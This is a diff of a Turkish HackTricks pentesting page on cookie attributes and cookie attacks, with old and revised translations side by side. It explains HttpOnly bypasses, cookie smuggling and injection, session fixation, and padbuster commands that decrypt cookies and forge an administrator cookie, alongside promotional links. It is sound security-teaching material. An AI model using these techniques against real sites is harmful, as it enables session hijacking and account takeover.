* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin.**
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,73 +2,65 @@
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklam vermek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli güvenlik açıklarını bulun ve daha hızlı düzeltebilin. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Çerez Özellikleri
Çerezler, kullanıcının tarayıcısındaki davranışlarını kontrol eden birkaç özellikle birlikte gelir. İşte bu özelliklerin daha pasif bir dilde açıklaması:
Çerezler, kullanıcının tarayıcısındaki davranışlarını kontrol eden birkaç özellikle birlikte gelir. İşte bu özelliklerin bir özetini daha pasif bir sesle açıklayanlar:
### Expires ve Max-Age
Bir çerezin son kullanma tarihi, `Expires` özelliği tarafından belirlenir. Bununla birlikte, `Max-age` özelliği çerezin silineceği süreyi saniye cinsinden belirler. **Daha modern uygulamaları yansıttığı için `Max-age` özelliğini tercih edin.**
Bir çerezin son kullanma tarihi, `Expires` özelliği tarafından belirlenir. Buna karşılık, `Max-age` özelliği bir çerezin silineceği süreyi saniye cinsinden tanımlar. **Daha modern uygulamaları yansıttığı için `Max-age`'i tercih edin.**
### Domain
Bir çerezi alacak olan sunucular, `Domain` özelliği tarafından belirtilir. Varsayılan olarak, bu, çerezi veren sunucuya ayarlanır ve alt alan adlarını içermez. Bununla birlikte, `Domain` özelliği açıkça belirlendiğinde, alt alan adlarını da kapsar. Bu, `Domain=mozilla.org` olarak ayarlandığında, çerezlerin `developer.mozilla.org` gibi alt alan adlarında erişilebilir olmasını sağlar.
Bir çerezi alacak ana bilgisayarlar, `Domain` özelliği tarafından belirtilir. Varsayılan olarak, bu, çerezi veren ana bilgisayara ayarlanır, alt alanlarını içermez. Ancak, `Domain` özelliği açıkça belirlendiğinde, alt alanları da kapsar. Bu, `Domain` özelliğinin belirtilmesini, alt alanlar arasında çerez paylaşımının gerektiği senaryolar için daha az kısıtlayıcı bir seçenek haline getirir. Örneğin, `Domain=mozilla.org` ayarlanarak, çerezlerin `developer.mozilla.org` gibi alt alanlarda erişilebilir olmasını sağlar.
### Path
`Path` özelliği, `Cookie` başlığının gönderilmesi için istenen URL'de bulunması gereken belirli bir URL yolu belirtir. Bu özellik, `/` karakterini bir dizin ayırıcı olarak kabul eder ve alt dizinlerde eşleşmelere izin verir.
`Path` özelliği, gönderilen URL'de bulunması gereken belirli bir URL yolunu gösterir. Bu özellik, `/` karakterini bir dizin ayırıcı olarak kabul eder, alt dizinlerde eşleşmelere izin verir.
### Sıralama Kuralları
Aynı isme sahip iki çerez olduğunda, gönderilecek olan çerez şu kriterlere göre belirlenir:
- İstenen URL'deki en uzun yolu eşleştiren çerez.
- Yollar aynıysa, en son ayarlanan çerez seçilir.
Aynı isme sahip iki çerez olduğunda, gönderim için seçilen çerez şu kriterlere dayanır:
* İstenen URL'deki en uzun yola uyan çerez.
* Yollar aynıysa, en son ayarlanan çerez.
### SameSite
- `SameSite` özelliği, üçüncü taraf alanlarından kaynaklanan isteklerde çerezlerin gönderilip gönderilmeyeceğini belirler. Üç ayarı vardır:
- **Strict**: Çerezi üçüncü taraf isteklerinde göndermeyi kısıtlar.
- **Lax**: Üçüncü taraf web siteleri tarafından başlatılan GET istekleriyle çerezin gönderilmesine izin verir.
- **None**: Çerezi herhangi bir üçüncü taraf alanından göndermeye izin verir.
* `SameSite` özelliği, çerezlerin üçüncü taraf alanlarından kaynaklanan isteklerde gönderilip gönderilmeyeceğini belirler. Üç ayar sunar:
* **Strict**: Çerezi üçüncü taraf isteklerinde gönderilmesini kısıtlar.
* **Lax**: Üçüncü taraf web siteleri tarafından başlatılan GET istekleriyle çerezin gönderilmesine izin verir.
* **None**: Çerezi herhangi bir üçüncü taraf alanından göndermeye izin verir.
Unutmayın, çerezleri yapılandırırken, bu özellikleri anlamak, farklı senaryolarda beklenildiği gibi davranmalarını sağlamaya yardımcı olabilir.
Çerezleri yapılandırırken, bu özellikleri anlamak, farklı senaryolarda beklenen şekilde davranmalarını sağlamaya yardımcı olabilir.
| **İstek Türü** | **Örnek Kod** | **Çerezler Gönderildiğinde** |
| ---------------- | ---------------------------------- | --------------------- |
| Bağlantı | \<a href="...">\</a> | NotSet\*, Lax, None |
| Önizleme | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
| Form GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
| Form POST | \<form method="POST" action="..."> | NotSet\*, None |
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
| AJAX | $.get("...") | NotSet\*, None |
| Resim | \<img src="..."> | NetSet\*, None |
| **İstek Türü** | **Örnek Kod** | **Çerezler Gönderildiğinde** |
| -------------- | ---------------------------------- | --------------------------- |
| Link | \<a href="...">\</a> | NotSet\*, Lax, None |
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
| Form GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
| Form POST | \<form method="POST" action="..."> | NotSet\*, None |
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
| AJAX | $.get("...") | NotSet\*, None |
| Image | \<img src="..."> | NetSet\*, None |
Tablo [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) tarafından ve hafifçe değiştirilmiştir.\
_Bir **SameSite** özelliğine sahip çerez, oturum gerektiren CSRF saldırılarını **önleyecektir**._
Tablo [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) tarafından sağlanmış ve hafifçe değiştirilmiştir.\
_**SameSite**_ özelliğine sahip bir çerez, oturum gerektiren CSRF saldırılarını **önler**.
**\*Dikkat Chrome80'den (şubat/2019) itibaren, aynı site politikası olmayan bir çerezin varsayılan davranışı lax olacak** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Dikkat geçici olarak, bu değişiklik uygulandıktan sonra, Chrome'da **aynı site politikası olmayan çerezler** **ilk 2 dakika boyunca None** olarak **işlem görecek ve ardından üst düzey çapraz site POST isteği için Lax** olarak **işlem görecek**.
**\*Unutmayın ki Chrome80'den (şubat/2019) itibaren, bir çerezin samesite özelliği olmayan bir çerezin varsayılan davranışı lax olacaktır** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Bu değişiklik uygulandıktan sonra, **Chrome'da SameSite politikası olmayan çerezlerin** **ilk 2 dakika boyunca None** olarak **işlem göreceğini ve ardından üst düzey çapraz site POST isteği için Lax** olarak işlem göreceğini **unutmayın.**
## Çerez Bayrakları
@ -78,60 +70,61 @@ Bu, **istemcinin** çereze erişmesini engeller (Örneğin **Javascript** aracı
#### **Atlatmalar**
* Eğer sayfa, çerezleri bir isteğin yanıtı olarak gönderiyorsa (örneğin bir **PHPinfo** sayfasında), XSS'i istismar ederek bu sayfaya bir istek gönderip yanıttaki çerezleri **çalmak** mümkün olabilir (bir örneği [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/) adresinde bulabilirsiniz).
* Bu, sunucudan gelen yanıt olarak **TRACE** **HTTP** istekleri gönderen sayfaların (örneğin bu HTTP yöntemi kullanılabilirse) çerezleri yansıtmasıyla atlatılabilir. Bu teknik **Cross-Site Tracking** olarak adlandırılır.
* Bu teknik, modern tarayıcılar tarafından JS'den TRACE isteği göndermeye izin verilmeyerek engellenir. Bununla birlikte, IE6.0 SP2 gibi belirli yazılımlarda `\r\nTRACE` yerine `TRACE` göndererek bu durumu atlatan bazı yöntemler bulunmuştur.
* Başka bir yol, tarayıcıların zero/day güvenlik açıklarının istismar edilmesidir.
* Bir Çerez Kavanozu taşmasına saldırı yaparak **HttpOnly çerezlerin üzerine yazılabilir**:
* Eğer sayfa, isteklerin yanıtı olarak çerezleri gönderiyorsa (örneğin bir **PHPinfo** sayfasında), XSS'yi kötüye kullanarak bu sayfaya bir istek gönderip yanıttan çerezleri **çalmak mümkün olabilir** (örneği [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/) adresinde bulabilirsiniz).
* Bu, sunucudan gelen yanıt olarak **TRACE** **HTTP** istekleriyle atlatılabilir (bu HTTP yöntemi mevcutsa). Bu teknik **Cross-Site Tracking** olarak adlandırılır.
* Bu teknik, **modern tarayıcılar tarafından JS'den TRACE** isteği göndermeye izin verilmeyerek önlendi. Ancak, IE6.0 SP2 gibi belirli yazılımlarda `\r\nTRACE` yerine `TRACE` göndererek bu kısıtlamaları atlatan bazı yöntemler bulunmuştur.
* Başka bir yol, tarayıcıların sıfır/gün açıklarının sömürülmesidir.
* Bir Çerez Kavanozu taşması saldırısı gerçekleştirerek **HttpOnly çerezlerin üzerine yazılabilir**:
{% content-ref url="cookie-jar-overflow.md" %}
[cookie-jar-overflow.md](cookie-jar-overflow.md)
{% endcontent-ref %}
* Bu çerezleri dışarı çıkarmak için [**Çerez Kaçakçılığı**](./#cookie-smuggling) saldırısı kullanılabilir
* Bu çerezleri dışarıya çıkarmak için [**Çerez Kaçırma**](./#cookie-smuggling) saldırısını kullanmak mümkündür
### Secure
Bu istek, çerezi yalnızca güvenli bir kanal üzerinden iletilen bir HTTP isteğinde gönderir (genellikle **HTTPS** ile).
İstek, yalnızca güvenli bir kanal üzerinden iletiliyorsa (genellikle **HTTPS**), çerezi yalnızca bir HTTP isteğinde gönderecektir.
## Çerez Önekleri
`__Secure-` ile başlayan çerezler, HTTPS ile korunan sayfalardan ayarlanması gerekmektedir.
`__Secure-` ile başlayan çerezlerin, HTTPS ile korunan sayfalardan gelen sayfalarda `secure` bayrağı ile birlikte ayarlanması gerekmektedir.
`__Host-` ile başlayan çerezler için birkaç koşul sağlanmalıdır:
- `secure` bayrağı ile ayarlanmalıdır.
- HTTPS ile korunan bir sayfadan kaynaklanmalıdır.
- Alan adı belirtmelerine izin verilmez, bu da alt alanlara iletilmelerini engeller.
- Bu çerezlerin yolu `/` olarak ayarlanmalıdır.
`__Host-` ile başlayan çerezler için birkaç koşulun karşılanması gerekmektedir:
Önemli bir nokta, `__Host-` ile başlayan çerezlerin süper alan adlarına veya alt alan adlarına gönderilmesine izin verilmemesidir. Bu kısıtlama, uygulama çerezlerini izole etmeye yardımcı olur. Bu nedenle, güvenliği ve izolasyonu artırmak için tüm uygulama çerezleri için `__Host-` önekinin kullanılması iyi bir uygulama olarak kabul edilebilir.
* `secure` bayrağı ile ayarlanmalıdır.
* HTTPS ile korunan bir sayfadan kaynaklanmalıdır.
* Alt alanlara iletilmesini engelleyen bir alan belirtmemelidir.
* Bu çerezlerin yolu `/` olarak ayarlanmalıdır.
`__Host-` ile başlayan çerezlerin süper alanlara veya alt alanlara gönderilmesine izin verilmediğini belirtmek önemlidir. Bu kısıtlama, uygulama çerezlerini izole etmeye yardımcı olur. Bu nedenle, tüm uygulama çerezleri için `__Host-` önekini kullanmak, güvenliği ve izolasyonu artırmak için iyi bir uygulama olarak düşünülebilir.
## Çerez Saldırıları
Özel bir çerez hassas veriler içeriyorsa (özellikle bir CTF oynuyorsanız) kontrol edin, çünkü zayıf olabilir.
Eğer özel bir çerez hassas veriler içeriyorsa kontrol edin (özellikle bir CTF oynuyorsanız), zira zayıf olabilir.
### Çerezlerin Kodunu Çözme ve Manipülasyonu
### Çerezlerin Kodunu Çözme ve Manipüle Etme
Çerezlere gömülü hassas veriler her zaman dikkatlice incelenmelidir. Base64 veya benzeri formatlarda kodlanmış çerezler genellikle çözülebilir. Bu zayıflık, saldırganların çerezin içeriğini değiştirmesine ve değiştirilmiş verilerini tekrar çerezlere kodlamalarına izin verir.
Çerezlere gömülmüş hassas veriler her zaman incelenmelidir. Base64 veya benzer formatlarda kodlanmış çerezler genellikle çözülebilir. Bu zayıflık, saldırganların çerez içeriğini değiştirip modifiye ettikleri verileri tekrar çereze kodlayarak diğer kullanıcıları taklit etmelerine olanak tanır.
### Oturum Kaçırma
### Oturum Kaçırma (Session Hijacking)
Bu saldırı, bir kullanıcının çerezini çalarak bir uygulamadaki hesabına izinsiz erişim sağlamayı içerir. Çalınan çerez kullanılarak saldırgan, meşru kullanıcıyı taklit edebilir.
Bu saldırı, bir kullanıcının çerezini çalarak bir uygulamadaki hesabına izinsiz erişim sağlamayı içerir. Çalınan çerez kullanılarak, bir saldırgan meşru kullanıcıyı taklit edebilir.
### Oturum Sabitleme
### Oturum Sabitleme (Session Fixation)
Bu senaryoda, saldırgan bir kurbanı belirli bir çerez kullanmaya kandırır. Uygulama giriş yaparken yeni bir çerez atamazsa, saldırgan, orijinal çereze sahip olduğu için kurbanı taklit edebilir. Bu teknik, kurbanın saldırgan tarafından sağlanan bir çerezle giriş yapmasına dayanır.
Bu senaryoda, bir saldırgan bir kurbanı belirli bir çerez kullanmaya ikna eder. Uygulama giriş yaptıktan sonra yeni bir çerez atamazsa, saldırgan, orijinal çereze sahip olarak kurbanı taklit edebilir. Bu teknik, kurbanın saldırgan tarafından sağlanan bir çerezle giriş yapmasına dayanır.
Eğer bir **alt alan adında XSS bulduysanız** veya bir **alt alan adını kontrol ediyorsanız**, okuyun:
Eğer bir **alt alan adında XSS** bulduysanız veya bir **alt alan adını kontrol ediyorsanız**, okuyun:
{% content-ref url="cookie-tossing.md" %}
[cookie-tossing.md](cookie-tossing.md)
{% endcontent-ref %}
### Oturum Bağışı
### Oturum Bağışı (Session Donation)
Burada saldırgan, kurbanı saldırganın oturum çerezini kullanmaya ikna eder. Kendi hesabına giriş yaptığına inanan kurban, aslında saldırganın hesabıyla eylemler gerçekleştirir.
Burada, saldırgan kurbanı saldırganın oturum çerezini kullanmaya ikna eder. Kendi hesabına giriş yaptığına inanan kurban, aslında saldırganın hesabı bağlamında yanlışlıkla işlemler gerçekleştirir.
Eğer bir **alt alan adında XSS bulduysanız** veya bir **alt alan adını kontrol ediyorsanız**, okuyun:
Eğer bir **alt alan adında XSS** bulduysanız veya bir **alt alan adını kontrol ediyorsanız**, okuyun:
{% content-ref url="cookie-tossing.md" %}
[cookie-tossing.md](cookie-tossing.md)
@ -139,22 +132,23 @@ Eğer bir **alt alan adında XSS bulduysanız** veya bir **alt alan adını kont
### [JWT Çerezleri](../hacking-jwt-json-web-tokens.md)
JWT çerezlerinde kullanılan JSON Web Token'lar da zayıflıklar içerebilir. Potansiyel zayıflıklar ve bunları nasıl sömürüleceği hakkında daha detaylı bilgi için, JWT hackleme konusundaki bağlantılı belgeye erişmek önerilir.
Potansiyel JWT hatalarınııklayan bir sayfaya erişmek için önceki bağlantıya tıklayın.
Çerezlerde kullanılan JSON Web Token'lar (JWT) de zayıflıklar içerebilir. Potansiyel hatalar ve bunları nasıl sömürüleceği hakkında detaylı bilgi için, JWT'yi hacklemekle ilgili belgeye erişmek önerilir.
### Cross-Site Request Forgery (CSRF)
Bu saldırı, oturum açmış bir kullanıcıyı, mevcut kimlik doğrulaması yapılan bir web uygulamasında istenmeyen eylemler gerçekleştirmeye zorlar. Saldırganlar, her istekle otomatik olarak gönderilen çerezleri sömürebilir.
Bu saldırı, oturum açmış bir kullanıcıyı, mevcut kimlik doğrulama yapılmış bir web uygulamasında istenmeyen eylemleri gerçekleştirmeye zorlar. Saldırganlar, her istekle otomatik olarak gönderilen çerezleri sömürebilirler.
### Boş Çerezler
(Daha fazla ayrıntı için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın)
Tarayıcılar, isimsiz çerezlerin oluşturulmasına izin verir. Bu, JavaScript kullanılarak aşağıdaki gibi gösterilebilir:
(Daha fazla detay için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın) Tarayıcılar, ismi olmayan çerezlerin oluşturulmasına izin verir, bu JavaScript ile aşağıdaki gibi gösterilebilir:
```js
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"
```
Gönderilen çerez başlığındaki sonuç `a=v1; test değeri; b=v2;` şeklindedir. İlginç bir şekilde, boş bir isim çerezi ayarlanırsa çerezlerin manipüle edilmesine izin verir ve boş çerez belirli bir değere ayarlanarak diğer çerezlerin kontrol edilmesini sağlar:
The result in the sent cookie header is `a=v1; test value; b=v2;`. Intriguingly, this allows for the manipulation of cookies if an empty name cookie is set, potentially controlling other cookies by setting the empty cookie to a specific value:
```js
function setCookie(name, value) {
document.cookie = `${name}=${value}`;
@ -162,54 +156,49 @@ document.cookie = `${name}=${value}`;
setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's value
```
Bu, tarayıcının `a` adında ve `b` değerinde bir çerez olarak yorumladığı bir çerez başlığını göndermesine yol açar.
#### Chrome Hatası: Unicode Yedek Kod Nokta Sorunu
#### Chrome Hatası: Unicode Surrogate Kod Noktası Sorunu
Chrome'da, bir Unicode surrogate kod noktası bir çerezin bir parçası ise, `document.cookie` bozulur ve sonrasında boş bir dize döndürür:
Chrome'da, bir Unicode yedek kod noktası bir set çerezi parçasıysa, `document.cookie` bozulur ve ardından boş bir dize döndürür:
```js
document.cookie = "\ud800=meep";
```
Bu, `document.cookie`'nin boş bir dize çıktısı vermesine neden olan kalıcı bir bozulmayı gösterir.
Bu, `document.cookie`'nin boş bir dize çıktısı vermesine neden olarak kalıcı bozulmaya işaret eder.
#### Ayrıştırma Sorunları Nedeniyle Çerez Kaçırma
(Daha fazla ayrıntı için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın)
Java (Jetty, TomCat, Undertow) ve Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) dahil birkaç web sunucusu, eski RFC2965 desteği nedeniyle çerez dizelerini yanlış işler. Çift tırnakla çevrili bir çerez değeri, normalde anahtar-değer çiftlerini ayıran noktalı virgüller içerse bile tek bir değer olarak okunur:
(Daha fazla ayrıntı için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın) Java (Jetty, TomCat, Undertow) ve Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) dahil birçok web sunucusu, eski RFC2965 desteğinden kaynaklanan çerez dizelerini yanlış işler. Çift tırnakla çevrili bir çerez değeri, normalde anahtar-değer çiftlerini ayıran noktalı virgüller içerse bile tek bir değer olarak okunur:
```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
```
#### Çerez Enjeksiyonu Zafiyetleri
#### Çerez Enjeksiyonu Güvenlik Açıklıkları
(Daha fazla ayrıntı için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın)
Sunucuların, özellikle Undertow, Zope ve Python'ın `http.cookie.SimpleCookie` ve `http.cookie.BaseCookie` kullanarak çerezleri yanlış ayrıştırması, çerez enjeksiyon saldırıları için fırsatlar yaratır. Bu sunucular, yeni çerezlerin başlangıcını doğru bir şekilde sınırlamazlar ve saldırganlara çerez taklit etme imkanı verir:
(Sonuçları[orijinal araştırmada](https://blog.ankursundara.com/cookie-bugs/) kontrol edin) Sunucuların, özellikle Undertow, Zope ve Python'ın `http.cookie.SimpleCookie` ve `http.cookie.BaseCookie` kullanarak çerezleri yanlış ayrıştırması, çerez enjeksiyon saldırıları için fırsatlar yaratır. Bu sunucular yeni çerezlerin başlangıcını düzgün bir şekilde sınırlamazlar, saldırganlara çerezleri sahtelemelerine olanak tanır:
- Undertow, tırnak içindeki bir değerden sonra noktalı virgül olmadan hemen yeni bir çerez bekler.
- Zope, bir sonraki çerezi ayrıştırmaya başlamak için bir virgül arar.
- Python'ın çerez sınıfları, bir boşluk karakterinde ayrıştırmaya başlar.
* Undertow, bir tırnak içindeki bir değerden sonra noktalı virgül olmadan hemen yeni bir çerez bekler.
* Zope, bir sonraki çerezi ayrıştırmaya başlamak için bir virgül arar.
* Python'ın çerez sınıfları, boşluk karakterinde ayrışmaya başlar.
Bu zafiyet, çerez tabanlı CSRF korumasına güvenen web uygulamalarında özellikle tehlikelidir, çünkü saldırganlara sahte CSRF belirteci çerezleri enjekte etme imkanı verir ve güvenlik önlemlerini atlamalarına neden olabilir. Sorun, Python'ın çift çerez adlarını işleme şekli tarafından daha da kötüleştirilir, burada son çerez adı öncekileri geçersiz kılar. Ayrıca, güvensiz bağlamlarda `__Secure-` ve `__Host-` çerezleri için endişeleri artırır ve çerezler yetkilendirme taklitine yol açabilir, bu da sahte yapılabilen arka uç sunucularına çerezlerin iletilmesi durumunda yetkilendirme atlamalarına neden olabilir.
Bu zayıflık, çerez tabanlı CSRF korumasına güvenen web uygulamalarında özellikle tehlikelidir, çünkü saldırganlara sahte CSRF belirteci çerezleri enjekte etmelerine ve güvenlik önlemlerini atlamalarına olanak tanır. Sorun, Python'ın yinelenen çerez adlarını işleme şekli tarafından kötüleştirilir, burada son oluşum öncekileri geçersiz kılar. Ayrıca, güvensiz bağlamlarda `__Secure-` ve `__Host-` çerezleri için endişeleri artırır ve çerezlerin sahteciliğe duyarlı arka uç sunucularına iletilmesi durumunda yetkilendirme atlamalarına yol açabilir.
### Ek Zafiyetli Çerez Kontrolleri
### Ekstra Savunmasız Çerez Kontrolleri
#### **Temel kontroller**
* **Çerez**, her oturum açtığınızda **aynı** olmalıdır.
* Oturumu kapatın ve aynı çerezi kullanmaya çalışın.
* Aynı çerezi kullanarak aynı hesaba 2 cihazda (veya tarayıcıda) oturum açmayı deneyin.
* Çerezde herhangi bir bilgi olup olmadığını kontrol edin ve değiştirmeyi deneyin.
* Neredeyse aynı kullanıcı adıyla birkaç hesap oluşturmayı deneyin ve benzerlikleri görebilir misiniz.
* Varsa "**beni hatırla**" seçeneğini kontrol edin ve nasıl çalıştığını görün. Eğer varsa ve zafiyete açıksa, her zaman sadece **beni hatırla** çerezini kullanın, başka bir çerez olmadan.
* Şifrenizi değiştirdikten sonra önceki çerez hala çalışıyor mu kontrol edin.
* **Çerez**, her **giriş** yaptığınızda **aynı** olmalıdır.
* Çıkış yapın ve aynı çerezi kullanmaya çalışın.
* Aynı çerezi kullanarak aynı hesaba 2 cihazda (veya tarayıcıda) giriş yapmaya çalışın.
* Çerezde herhangi bir bilgi olup olmadığını kontrol edin ve değiştirmeye çalışın.
* Neredeyse aynı kullanıcı adıyla birkaç hesap oluşturun ve benzerlikleri görebilir misiniz kontrol edin.
* Varsa "**beni hatırla**" seçeneğini kontrol edin ve nasıl çalıştığını görün. Varsa ve savunmasız olabilirse, her zaman sadece **beni hatırla** çerezini kullanın, başka bir çerez olmadan.
* Şifrenizi değiştirdikten sonra önceki çerezin hala çalışıp çalışmadığını kontrol edin.
#### **Gelişmiş çerez saldırıları**
Eğer çerez oturum açtığınızda aynı kalıyorsa (veya neredeyse aynı), bu muhtemelen çerezin hesabınızın bazı alanıyla ilişkili olduğu anlamına gelir (muhtemelen kullanıcı adı). O zaman yapabileceğiniz şeyler:
Eğer giriş yaptığınızda çerez aynı kalıyorsa (veya neredeyse aynı), bu muhtemelen çerezin hesabınızın bir alanıyla ilişkili olduğu anlamına gelir (muhtemelen kullanıcı adı). O zaman şunları yapabilirsiniz:
* Çok sayıda **hesap** oluşturun ve kullanıcı adları çok **benzer** olsun, algoritmanın nasıl çalıştığını **tahmin etmeye** çalışın.
* **Kullanıcı adını** **brute force** ile deneyin. Eğer çerez sadece kullanıcı adınız için bir kimlik doğrulama yöntemi olarak kaydediyorsa, o zaman "**Bmin**" kullanıcı adıyla bir hesap oluşturabilir ve çerezinizin her bir **bit**'ini **brute force** ile deneyebilirsiniz, çünkü deneyeceğiniz çerezlerden biri "**admin**"e ait olacaktır.
* **Padding Oracle**'ı deneyin (çerezin içeriğini şifre çözebilirsiniz). **Padbuster** kullanın.
* Çok sayıda **hesap** oluşturun ve kullanıcı adları çok **benzer** olsun ve algoritmanın nasıl çalıştığını **tahmin** etmeye çalışın.
* **Kullanıcı adını brute force** deneyin. Eğer çerez sadece kullanıcı adınız için bir kimlik doğrulama yöntemi olarak kaydediyorsa, o zaman "**Bmin**" kullanıcı adıyla bir hesap oluşturabilir ve çerezinizin her bir **bitini** brute force edebilirsiniz çünkü deneyeceğiniz çerezlerden biri "**admin**"e ait olacaktır.
* **Padding Oracle** deneyin (çerezin içeriğini şifreleyebilirsiniz). **Padbuster** kullanın.
**Padding Oracle - Padbuster örnekleri**
```bash
@ -221,25 +210,25 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
```
Padbuster, birkaç deneme yapacak ve hangi koşulun hatalı koşul olduğunu (geçerli olmayan koşul) size soracak.
Padbuster birkaç deneme yapacak ve hangi koşulun hata koşulu olduğunu soracak (geçerli olmayan).
Daha sonra çerezin şifresini çözmeye başlayacak (birkaç dakika sürebilir).
Eğer saldırı başarıyla gerçekleştirildiyse, istediğiniz bir dizeyi şifrelemeyi deneyebilirsiniz. Örneğin, **user=administrator** **şifrelemek** isterseniz.
Saldırı başarıyla gerçekleştirildiyse, istediğiniz bir dizeyi şifrelemeyi deneyebilirsiniz. Örneğin, eğer **user=admin** şifrelemek isterseniz
```
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
```
Bu işlem, içinde **user=administrator** dizesiyle doğru bir şekilde şifrelenmiş ve kodlanmış çerezi verecektir.
Bu işlem, içinde **user=administrator** dizesi bulunan çerezin doğru bir şekilde şifrelenmiş ve kodlanmış halini verecektir.
**CBC-MAC**
